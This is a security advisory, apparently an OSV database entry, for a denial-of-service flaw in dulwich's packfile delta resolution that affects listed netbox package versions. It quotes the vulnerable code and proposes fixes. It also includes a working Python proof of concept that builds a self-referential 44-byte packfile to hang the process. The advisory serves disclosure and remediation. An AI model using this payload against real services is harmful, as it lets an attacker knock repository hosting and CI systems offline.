DHI-to7a-gb6t-jvuh-xbva

Source
https://scout.docker.com/v/DHI-to7a-gb6t-jvuh-xbva
Import Source
https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-to7a-gb6t-jvuh-xbva.json
JSON Data
https://api.osv.dev/v1/vulns/DHI-to7a-gb6t-jvuh-xbva
Upstream
Published
2026-11-12T23:27:05Z
Modified
2026-11-21T14:30:47Z
Severity
  • 6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H CVSS Calculator
Summary
### Affected file
Details

Affected file

  • dulwich/pack.py (Method: Pack.resolve_object)

Description / Summary

A High-severity Denial of Service (DoS) vulnerability exists in the Pack.resolve_object method. When resolving an OFS_DELTA object, the resolver calculates the base offset using base_offset = obj_offset - delta_offset.

If a malicious packfile contains an OFS_DELTA object where delta_offset is 0, the calculation obj_offset - 0 resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of delta_offset == 0, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.

Vulnerable Code Breakdown (dulwich/pack.py):

elif obj_type == OFS_DELTA:
    delta_offset = parse_pack_object_offset_at(...)
    base_offset = obj_offset - delta_offset          # VULNERABILITY: Self-reference if delta_offset == 0
    base_type, base_data = self.resolve_object(...)  # VULNERABILITY: Infinite recursion

Potential impact

An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., dulwich clone, fetch, cat-file, or internal Pack.__getitem__ lookups).

  1. CPU Exhaustion: The process will spin at 100% CPU indefinitely.
  2. Denial of Service: Any service using dulwich (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access.
  3. Protocol Incompatibility: This behavior violates the Git packfile specification. The standard git C client explicitly guards against this: if (!base_offset) die("delta offset == 0 is invalid");.

POC (Proof of Concept)

The following Python script generates a 44-byte packfile that triggers the loop:

from dulwich.pack import Pack
import struct, zlib, tempfile, os

# Build a single OFS_DELTA entry whose delta_offset is 0
type_ofs_delta = 6
header = bytes([(type_ofs_delta << 4) | 0])
ofs_bytes = bytes([0x00]) # delta_offset = 0
body = zlib.compress(b'')
raw = header + ofs_bytes + body

pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\x00' * 20)

fd, path = tempfile.mkstemp(suffix='.pack')
os.write(fd, pack); os.close(fd)

# Trigger: This call never returns and spins at 100% CPU
p = Pack(path)
obj = p[list(p.iterobjects())[0]]

Possible solution

  1. Explicit Guard: Add a check in Pack.resolve_object to reject delta_offset == 0:
    if delta_offset == 0:
        raise CorruptPacksFile("OFS_DELTA has self-referential delta_offset=0")
    
  2. Recursion Depth: Implement a depth limit (e.g., MAX_DELTA_DEPTH = 50) to prevent long, non-looping chains of deltas (OFS or REF).
References

Affected packages

Docker Hardened Images:Debian:13 / netbox

Package

Name
netbox
Purl
pkg:deb/dhi/netbox

Affected ranges

Affected versions

4.*
4.6.7-0
4.6.8-0
4.6.8-1
4.6.8-2
4.6.8-3
4.6.9-0
4.6.9-1
4.6.9-2
4.6.10-0
4.6.10-1
4.7.1-0
4.7.1-1
4.7.1-2
4.7.1-3
4.7.1-4
4.7.1-5
4.7.1-6
4.7.2-0
4.7.2-1
4.7.2-2
4.7.2-3
4.7.2-4
4.7.3-0
4.7.3-1
4.7.3-2
4.7.3-3
4.7.3-4
4.7.4-0
4.7.4-1
4.7.4-2
4.7.4-3
4.7.4-4
4.7.4-5
4.7.4-6
4.7.5-0
4.7.5-1
4.7.5-2

Database specific

owner_kind
"HSP"
source
"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-to7a-gb6t-jvuh-xbva.json"